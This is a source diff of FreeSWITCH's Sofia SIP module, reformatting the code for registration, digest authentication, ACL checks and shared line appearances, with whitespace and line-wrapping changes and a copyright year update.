||||
|
||||
if (sofia_private && sofia_private->gateway) {
|
||||
reg_state_t ostate = sofia_private->gateway->state;
|
||||
switch (status) {
|
||||
@@ -1468,8 +1446,8 @@ void sofia_reg_handle_sip_r_register(int status,
|
||||
const char *new_expires;
|
||||
uint32_t expi;
|
||||
if (contact->m_next) {
|
||||
const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
|
||||
for ( ; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
|
||||
const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
|
||||
for (; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
|
||||
}
|
||||
|
||||
if (!contact) {
|
||||
@@ -1479,7 +1457,7 @@ void sofia_reg_handle_sip_r_register(int status,
|
||||
if (contact->m_expires) {
|
||||
new_expires = contact->m_expires;
|
||||
expi = (uint32_t) atoi(new_expires);
|
||||
|
||||
|
||||
if (expi > 0 && expi != sofia_private->gateway->freq) {
|
||||
sofia_private->gateway->freq = expi;
|
||||
sofia_private->gateway->expires_str = switch_core_sprintf(sofia_private->gateway->pool, "%d", expi);
|
||||
@@ -1503,7 +1481,7 @@ void sofia_reg_handle_sip_r_register(int status,
|
||||
default:
|
||||
sofia_private->gateway->state = REG_STATE_FAILED;
|
||||
sofia_private->gateway->failure_status = status;
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
|
||||
sofia_private->gateway->name, switch_str_nil(phrase), status, ++sofia_private->gateway->failures);
|
||||
break;
|
||||
}
|
||||
@@ -1572,14 +1550,14 @@ void sofia_reg_handle_sip_r_challenge(int status,
|
||||
|
||||
if (!gateway) {
|
||||
if (gw_name) {
|
||||
var_gateway = sofia_reg_find_gateway((char *)gw_name);
|
||||
var_gateway = sofia_reg_find_gateway((char *) gw_name);
|
||||
}
|
||||
|
||||
|
||||
if (!var_gateway && realm) {
|
||||
char rb[512] = "";
|
||||
char *p = (char *) realm;
|
||||
while((*p == '"')) {
|
||||
while ((*p == '"')) {
|
||||
p++;
|
||||
}
|
||||
switch_set_string(rb, p);
|
||||
@@ -1594,13 +1572,13 @@ void sofia_reg_handle_sip_r_challenge(int status,
|
||||
if (!var_gateway && sip && sip->sip_to) {
|
||||
var_gateway = sofia_reg_find_gateway(sip->sip_to->a_url->url_host);
|
||||
}
|
||||
|
||||
|
||||
if (var_gateway) {
|
||||
gateway = var_gateway;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if (!(scheme && realm)) {
|
||||
@@ -1614,12 +1592,12 @@ void sofia_reg_handle_sip_r_challenge(int status,
|
||||
switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Matching gateway found\n");
|
||||
goto cancel;
|
||||
goto cancel;
|
||||
}
|
||||
|
||||
if (profile->debug) {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n",
|
||||
(sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
|
||||
(sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
|
||||
}
|
||||
|
||||
ss_state = nua_callstate_authenticating;
|
||||
@@ -1638,7 +1616,7 @@ void sofia_reg_handle_sip_r_challenge(int status,
|
||||
nua_cancel(nh, TAG_END());
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
|
||||
if (var_gateway) {
|
||||
sofia_reg_release_gateway(var_gateway);
|
||||
@@ -1677,20 +1655,15 @@ static int sofia_reg_regcount_callback(void *pArg, int argc, char **argv, char *
|
||||
return 0;
|
||||
}
|
||||
|
||||
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
sip_authorization_t const *authorization,
|
||||
sip_t const *sip,
|
||||
auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
sip_authorization_t const *authorization,
|
||||
sip_t const *sip,
|
||||
const char *regstr,
|
||||
char *np,
|
||||
size_t nplen,
|
||||
char *ip,
|
||||
switch_event_t **v_event,
|
||||
long exptime,
|
||||
sofia_regtype_t
|
||||
regtype,
|
||||
const char *to_user,
|
||||
switch_event_t **auth_params,
|
||||
long *reg_count)
|
||||
char *np,
|
||||
size_t nplen,
|
||||
char *ip,
|
||||
switch_event_t **v_event,
|
||||
long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count)
|
||||
{
|
||||
int indexnum;
|
||||
const char *cur;
|
||||
@@ -1781,7 +1754,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
nonce_cb_t cb = { 0 };
|
||||
long nc_long = 0;
|
||||
first = 1;
|
||||
|
||||
|
||||
if (nc) {
|
||||
nc_long = strtoul(nc, 0, 16);
|
||||
sql = switch_mprintf("select nonce,last_nc from sip_authentication where nonce='%q' and last_nc < %lu", nonce, nc_long);
|
||||
@@ -1791,7 +1764,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
|
||||
cb.nonce = np;
|
||||
cb.nplen = nplen;
|
||||
|
||||
|
||||
switch_assert(sql != NULL);
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_nonce_callback, &cb);
|
||||
free(sql);
|
||||
@@ -1883,12 +1856,11 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
domain_name = realm;
|
||||
}
|
||||
|
||||
if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username,
|
||||
domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
|
||||
if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username, domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n"
|
||||
"You must define a domain called '%s' in your directory and add a user with the id=\"%s\" attribute\n"
|
||||
"and you must configure your device to use the proper domain in it's authentication credentials.\n"
|
||||
, username, domain_name, domain_name, username);
|
||||
"and you must configure your device to use the proper domain in it's authentication credentials.\n", username, domain_name,
|
||||
domain_name, username);
|
||||
|
||||
ret = AUTH_FORBIDDEN;
|
||||
goto end;
|
||||
@@ -1900,7 +1872,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!(number_alias = (char *) switch_xml_attr(user, "number-alias"))) {
|
||||
number_alias = zstr(username) ? "nobody" : username;
|
||||
}
|
||||
@@ -1940,7 +1912,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
if (!strcasecmp(var, "mwi-account")) {
|
||||
mwi_account = val;
|
||||
}
|
||||
|
||||
|
||||
if (!strcasecmp(var, "user-agent-filter")) {
|
||||
user_agent_filter = val;
|
||||
}
|
||||
@@ -2030,18 +2002,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
}
|
||||
/* Check if network_ip is a proxy allowed to send us calls */
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
|
||||
|
||||
|
||||
for (x = 0; x < profile->proxy_acl_count; x++) {
|
||||
last_acl = profile->proxy_acl[x];
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"checking %s against acl %s\n",
|
||||
ip, last_acl
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", ip, last_acl);
|
||||
if (switch_check_network_list_ip(ip, last_acl)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"%s is a proxy according to the %s acl\n",
|
||||
ip, last_acl
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s is a proxy according to the %s acl\n", ip, last_acl);
|
||||
network_ip_is_proxy = 1;
|
||||
break;
|
||||
}
|
||||
@@ -2055,10 +2021,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
int x_auth_ip = 0;
|
||||
for (un = sip->sip_unknown; un; un = un->un_next) {
|
||||
if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"found auth ip [%s] header of [%s]\n",
|
||||
un->un_name, un->un_value
|
||||
);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
|
||||
if (!zstr(un->un_value)) {
|
||||
if (!switch_check_network_list_ip(un->un_value, auth_acl)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by user acl %s\n", un->un_value, auth_acl);
|
||||
@@ -2066,9 +2029,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
goto end;
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"IP %s allowed by acl %s, checking credentials\n",
|
||||
un->un_value, auth_acl
|
||||
);
|
||||
"IP %s allowed by acl %s, checking credentials\n", un->un_value, auth_acl);
|
||||
x_auth_ip = 1;
|
||||
break;
|
||||
}
|
||||
@@ -2084,12 +2045,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP [%s] passed ACL check [%s]\n", ip, auth_acl);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (zstr(passwd) && zstr(a1_hash)) {
|
||||
ret = AUTH_OK;
|
||||
goto skip_auth;
|
||||
}
|
||||
|
||||
|
||||
if (!a1_hash) {
|
||||
input = switch_mprintf("%s:%s:%s", username, realm, passwd);
|
||||
su_md5_init(&ctx);
|
||||
@@ -2104,41 +2065,43 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
if (user_agent_filter) {
|
||||
if (switch_regex_match(user_agent, user_agent_filter) == SWITCH_STATUS_SUCCESS) {
|
||||
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
|
||||
"SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
|
||||
}
|
||||
} else {
|
||||
ret = AUTH_FORBIDDEN;
|
||||
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter,
|
||||
user_agent);
|
||||
}
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
if (max_registrations_perext > 0 &&
|
||||
(sip && sip->sip_contact &&
|
||||
(sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
|
||||
/* if expires is null still process */
|
||||
/* expires == 0 means the phone is going to unregiser, so don't count against max */
|
||||
if (max_registrations_perext > 0 && (sip && sip->sip_contact && (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
|
||||
/* if expires is null still process */
|
||||
/* expires == 0 means the phone is going to unregiser, so don't count against max */
|
||||
int count = 0;
|
||||
|
||||
call_id = sip->sip_call_id->i_id;
|
||||
switch_assert(call_id);
|
||||
|
||||
|
||||
sql = switch_mprintf("select count(sip_user) from sip_registrations where sip_user='%q' AND call_id <> '%q'", username, call_id);
|
||||
switch_assert(sql != NULL);
|
||||
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_regcount_callback, &count);
|
||||
free(sql);
|
||||
|
||||
if (count+1 > max_registrations_perext) {
|
||||
|
||||
if (count + 1 > max_registrations_perext) {
|
||||
ret = AUTH_FORBIDDEN;
|
||||
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
|
||||
"SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
|
||||
}
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
for_the_sake_of_interop:
|
||||
|
||||
if ((input = switch_mprintf("%s:%q", regstr, uri))) {
|
||||
@@ -2187,7 +2150,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (v_event && *v_event) {
|
||||
short int xparams_type[6];
|
||||
switch_xml_t xparams[6];
|
||||
@@ -2203,12 +2166,12 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
if (mwi_account) {
|
||||
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "mwi-account", mwi_account);
|
||||
}
|
||||
|
||||
|
||||
if ((uparams = switch_xml_child(user, "params"))) {
|
||||
xparams_type[i] = 0;
|
||||
xparams[i++] = uparams;
|
||||
}
|
||||
|
||||
|
||||
if (group && (gparams = switch_xml_child(group, "params"))) {
|
||||
xparams_type[i] = 0;
|
||||
xparams[i++] = gparams;
|
||||
@@ -2238,15 +2201,15 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
int j = 0;
|
||||
|
||||
for (j = 0; j < i; j++) {
|
||||
for (param = switch_xml_child(xparams[j], (xparams_type[j]?"variable":"param")); param; param = param->next) {
|
||||
for (param = switch_xml_child(xparams[j], (xparams_type[j] ? "variable" : "param")); param; param = param->next) {
|
||||
const char *var = switch_xml_attr_soft(param, "name");
|
||||
const char *val = switch_xml_attr_soft(param, "value");
|
||||
sofia_gateway_t *gateway_ptr = NULL;
|
||||
|
||||
if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-",4) || !strcasecmp(var, "register-gateway")) ) {
|
||||
if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-", 4) || !strcasecmp(var, "register-gateway"))) {
|
||||
if (!switch_event_get_header(*v_event, var)) {
|
||||
if (profile->debug) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n",var, val);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n", var, val);
|
||||
}
|
||||
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
|
||||
} else {
|
||||
@@ -2326,7 +2289,7 @@ auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
|
||||
#else
|
||||
#define LL_FMT "l"
|
||||
#endif
|
||||
sql = switch_mprintf("update sip_authentication set expires='%"LL_FMT"u',last_nc=%lu where nonce='%s'",
|
||||
sql = switch_mprintf("update sip_authentication set expires='%" LL_FMT "u',last_nc=%lu where nonce='%s'",
|
||||
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : exptime + 10), ncl, nonce);
|
||||
|
||||
switch_assert(sql != NULL);
|
||||
@@ -2399,7 +2362,7 @@ sofia_gateway_t *sofia_reg_find_gateway_by_realm__(const char *file, const char
|
||||
sofia_gateway_t *gateway = NULL;
|
||||
switch_hash_index_t *hi;
|
||||
const void *var;
|
||||
void *val;
|
||||
void *val;
|
||||
|
||||
switch_mutex_lock(mod_sofia_globals.hash_mutex);
|
||||
for (hi = switch_hash_first(NULL, mod_sofia_globals.gateway_hash); hi; hi = switch_hash_next(hi)) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -74,7 +74,7 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
|
||||
char exp_str[256] = "";
|
||||
char my_contact[256] = "";
|
||||
char *sql;
|
||||
struct sla_helper sh = { { 0 } };
|
||||
struct sla_helper sh = { {0} };
|
||||
char *contact_str = sofia_glue_strip_uri(full_contact);
|
||||
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
|
||||
char network_ip[80];
|
||||
@@ -83,17 +83,17 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
|
||||
char *route_uri = NULL;
|
||||
char port_str[25] = "";
|
||||
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
|
||||
sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
|
||||
sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
|
||||
mod_sofia_globals.hostname, profile->name, contact_str);
|
||||
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, get_call_id_callback, &sh);
|
||||
|
||||
free(sql);
|
||||
|
||||
|
||||
if (*sh.call_id) {
|
||||
if (!(nh = nua_handle_by_call_id(profile->nua, sh.call_id))) {
|
||||
if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
|
||||
if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
|
||||
mod_sofia_globals.hostname, profile->name, contact_str))) {
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
}
|
||||
@@ -110,15 +110,15 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
|
||||
|
||||
switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
|
||||
|
||||
if (sofia_glue_check_nat(profile, network_ip)) {
|
||||
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
|
||||
if (sofia_glue_check_nat(profile, network_ip)) {
|
||||
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
|
||||
profile->extsipip, port_str, sofia_glue_transport2str(transport), exp_str);
|
||||
} else {
|
||||
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
|
||||
switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
|
||||
profile->sipip, port_str, sofia_glue_transport2str(transport), exp_str);
|
||||
}
|
||||
|
||||
dst = sofia_glue_get_destination((char*) full_contact);
|
||||
dst = sofia_glue_get_destination((char *) full_contact);
|
||||
|
||||
if (dst->route_uri) {
|
||||
route_uri = sofia_glue_strip_uri(dst->route_uri);
|
||||
@@ -130,9 +130,7 @@ void sofia_sla_handle_register(nua_t *nua, sofia_profile_t *profile, sip_t const
|
||||
SIPTAG_FROM(sip->sip_to),
|
||||
SIPTAG_CONTACT_STR(my_contact),
|
||||
SIPTAG_EXPIRES_STR(exp_str),
|
||||
SIPTAG_EVENT_STR("dialog;sla;include-session-description"),
|
||||
SIPTAG_ACCEPT_STR("application/dialog-info+xml"),
|
||||
TAG_NULL());
|
||||
SIPTAG_EVENT_STR("dialog;sla;include-session-description"), SIPTAG_ACCEPT_STR("application/dialog-info+xml"), TAG_NULL());
|
||||
|
||||
sofia_glue_free_destination(dst);
|
||||
|
||||
@@ -158,13 +156,13 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
|
||||
|
||||
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
|
||||
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
|
||||
/*
|
||||
* XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
|
||||
* a Subscription-State header with state "terminated" and/or expiration of 0. So we never forget
|
||||
* about them here.
|
||||
* likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
|
||||
*/
|
||||
*/
|
||||
|
||||
/*
|
||||
* extracting AOR is weird...
|
||||
@@ -180,30 +178,29 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
|
||||
* ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
|
||||
* extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
|
||||
* which won't be sufficient for real life. FIXME XXX MTK
|
||||
*/
|
||||
*/
|
||||
|
||||
/* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
|
||||
|
||||
subscriber = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_from->a_url->url_user,
|
||||
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
|
||||
|
||||
|
||||
if ((sql =
|
||||
switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
|
||||
subscriber, profile->name, mod_sofia_globals.hostname
|
||||
))) {
|
||||
switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
|
||||
subscriber, profile->name, mod_sofia_globals.hostname))) {
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
}
|
||||
|
||||
if ((sql =
|
||||
switch_mprintf("insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) "
|
||||
"values ('%q','%q','%q','%q','%q','%q','%q')",
|
||||
subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
|
||||
"values ('%q','%q','%q','%q','%q','%q','%q')",
|
||||
subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
}
|
||||
|
||||
if (strstr(contact_str, ";fs_nat")) {
|
||||
char *p;
|
||||
route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
|
||||
route_uri = sofia_glue_get_url_from_contact((char *) contact_str, 1);
|
||||
if ((p = strstr(contact_str, ";fs_"))) {
|
||||
*p = '\0';
|
||||
}
|
||||
@@ -222,21 +219,17 @@ void sofia_sla_handle_sip_i_subscribe(nua_t *nua, const char *contact_str, sofia
|
||||
|
||||
switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
|
||||
|
||||
if (sofia_glue_check_nat(profile, network_ip)) {
|
||||
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip,
|
||||
port_str, sofia_glue_transport2str(transport));
|
||||
if (sofia_glue_check_nat(profile, network_ip)) {
|
||||
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip, port_str, sofia_glue_transport2str(transport));
|
||||
} else {
|
||||
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip,
|
||||
port_str, sofia_glue_transport2str(transport));
|
||||
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip, port_str, sofia_glue_transport2str(transport));
|
||||
}
|
||||
|
||||
nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
|
||||
TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
|
||||
SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
|
||||
SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
|
||||
nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua), TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
|
||||
SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
|
||||
/* sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
|
||||
TAG_END());
|
||||
|
||||
|
||||
switch_safe_free(aor);
|
||||
switch_safe_free(subscriber);
|
||||
switch_safe_free(route_uri);
|
||||
@@ -251,7 +244,8 @@ struct sla_notify_helper {
|
||||
|
||||
void sofia_sla_handle_sip_r_subscribe(int status,
|
||||
char const *phrase,
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
|
||||
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
|
||||
tagi_t tags[])
|
||||
{
|
||||
if (status >= 300) {
|
||||
nua_handle_destroy(nh);
|
||||
@@ -267,8 +261,8 @@ void sofia_sla_handle_sip_r_subscribe(int status,
|
||||
}
|
||||
|
||||
if ((sql = switch_mprintf("insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) "
|
||||
"values ('%q','%q','%q','%q','%ld')",
|
||||
profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long)expires))) {
|
||||
"values ('%q','%q','%q','%q','%ld')",
|
||||
profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long) expires))) {
|
||||
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
|
||||
}
|
||||
|
||||
@@ -298,20 +292,20 @@ void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_han
|
||||
* yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
|
||||
* should have). for the current prototype stage, this works ok anyway.
|
||||
* and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
|
||||
* "target" in the payload XML, of course).
|
||||
* "target" in the payload XML, of course).
|
||||
* also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
|
||||
* an appearance index to the outbound invite for the "next free appearance". this can lead to race
|
||||
* conditions where a call shows up on slightly different line key numbers at different phones, making
|
||||
* "pick up on line X" meaningless if such a race occurs. again, it is a prototype. we can fix it later.
|
||||
*/
|
||||
*/
|
||||
|
||||
|
||||
/* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
|
||||
|
||||
if ( (!sip->sip_event)
|
||||
|| (strcasecmp(sip->sip_event->o_type, "dialog"))
|
||||
|| !msg_params_find(sip->sip_event->o_params, "sla") ) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,"sent to sla-agent but not dialog;sla\n");
|
||||
if ((!sip->sip_event)
|
||||
|| (strcasecmp(sip->sip_event->o_type, "dialog"))
|
||||
|| !msg_params_find(sip->sip_event->o_params, "sla")) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "sent to sla-agent but not dialog;sla\n");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -326,16 +320,15 @@ void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_han
|
||||
* so we don't reflect it back at anyone who is the "boss" config, but we do reflect it back at the "secretary"
|
||||
* config. if that breaks the phone, just set them all up as the "boss" config where ext#==third-party#
|
||||
*/
|
||||
contact = switch_mprintf("sip:%s@%s;transport=%s",sip->sip_contact->m_url->url_user,
|
||||
contact = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_contact->m_url->url_user,
|
||||
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
|
||||
|
||||
if (sip->sip_payload && sip->sip_payload->pl_data) {
|
||||
sql = switch_mprintf("select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where "
|
||||
"aor='%q' and profile_name='%q' and hostname='%q'",
|
||||
